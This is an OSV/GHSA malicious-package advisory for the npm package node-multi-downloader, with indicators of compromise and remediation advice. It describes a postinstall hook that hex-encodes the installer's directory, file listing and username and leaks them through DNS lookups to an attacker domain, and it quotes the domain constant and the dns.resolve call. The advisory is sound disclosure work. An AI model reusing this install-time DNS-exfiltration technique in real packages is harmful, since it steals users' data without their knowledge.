MAL-2026-5735

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Import Source

https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/node-multi-downloader/MAL-2026-5735.json

JSON Data

https://api.osv.dev/v1/vulns/MAL-2026-5735

Aliases

GHSA-hmxh-99g9-4v4j

Published

2026-06-13T07:04:03Z

Modified

2026-08-20T16:30:12.575715256Z

Summary

Malicious code in node-multi-downloader (npm)

Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (8fc720cd970f4d19212ca90945b7fc1e4e1c64da98235ff595b3792ae69e3e68)

On npm install, this package's postinstall hook (node index.js) hex-encodes the installer's current working directory, the first 15 entries of that directory, and os.userInfo().username, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain uqlyosvp1f9.oob.evilsec.xyz. The hardcoded out-of-band domain is bound at index.js line 1 (const D = "uqlyosvp1f9.oob.evilsec.xyz") and index.js line 8 calls dns.resolve(${chunk}.${tag}${i}.${D}, 'A',...) to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.

Source: ghsa-malware (c4dcda165ec9c4aeaf9717069c8a7fbbd56eb311976815127695894752de7115)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific

{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-13T07:25:39.73129435Z",
            "sha256": "77464387879005e5c35e332c1b9f9826ea1af7dec30cad7d06fe1023d553f1f4",
            "versions": [
                "5.0.14-rc.3"
            ],
            "id": "IN-MAL-2026-006322",
            "modified_time": "2026-06-13T07:04:03Z",
            "source": "amazon-inspector"
        },
        {
            "sha256": "8fc720cd970f4d19212ca90945b7fc1e4e1c64da98235ff595b3792ae69e3e68",
            "versions": [
                "5.0.14-rc.3"
            ],
            "import_time": "2026-06-13T07:25:39.675878525Z",
            "id": "IN-MAL-2026-006321",
            "modified_time": "2026-06-13T07:04:03Z",
            "source": "amazon-inspector"
        },
        {
            "sha256": "c4dcda165ec9c4aeaf9717069c8a7fbbd56eb311976815127695894752de7115",
            "import_time": "2026-08-20T16:25:42.693378361Z",
            "id": "GHSA-hmxh-99g9-4v4j",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "modified_time": "2026-08-20T16:15:32Z",
            "source": "ghsa-malware"
        }
    ]
}

References

Credits

- Amazon Inspector - FINDER
- - inspector-research@amazon.com

Affected packages

npm / node-multi-downloader

Package

Name: node-multi-downloader; View open source insights on deps.dev
Purl: pkg:npm/node-multi-downloader

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Affected versions

5.*

5.0.14-rc.3

Database specific

indicators

{
    "ips": [
        "104.16.8.34",
        "10.1.0.2"
    ],
    "package_integrity": [
        {
            "filename": "node-multi-downloader-5.0.14-rc.3.tgz",
            "hashes": {
                "sha512_sri": "sha512-nRN1LlwWX0jlka6fweawaXGmfEE0UNh/zzNKCzmLEs4NdSRQKZCWVMpgL45REz8KEF1t25Pd09ZmlL4Ld0VQqg==",
                "sha1": "def4f059880087a00597558d8862a4171c2851b5"
            }
        }
    ],
    "evidence_files": [
        {
            "sha256": "3a87bc4174ea8f94807555d6841cfd778d5c6aa796a66a5ea78a2ae3721de89f",
            "path": "index.js",
            "tlsh": "01f050f923f5a1f494666480c1b48d0a2273cb121173c090b81d68d6abd38f4bbe6971"
        }
    ],
    "domains": [
        "2e6e706d2c6e6f64655f6d6f64756c65732c7061636b6167652d6c6f636b2e.fil0.uqlyosvp1f9.oob.evilsec.xyz",
        "6a736f6e2c7061636b6167652e6a736f6e.fil1.uqlyosvp1f9.oob.evilsec.xyz",
        "6c74692d646f776e6c6f61646572.cwd1.uqlyosvp1f9.oob.evilsec.xyz",
        "696e6465782e6a732c7061636b6167652e6a736f6e.fil0.uqlyosvp1f9.oob.evilsec.xyz",
        "7363616e.usr0.uqlyosvp1f9.oob.evilsec.xyz",
        "2f686f6d652f7363616e.cwd0.uqlyosvp1f9.oob.evilsec.xyz"
    ]
}

cwes

[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]

source

"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/node-multi-downloader/MAL-2026-5735.json"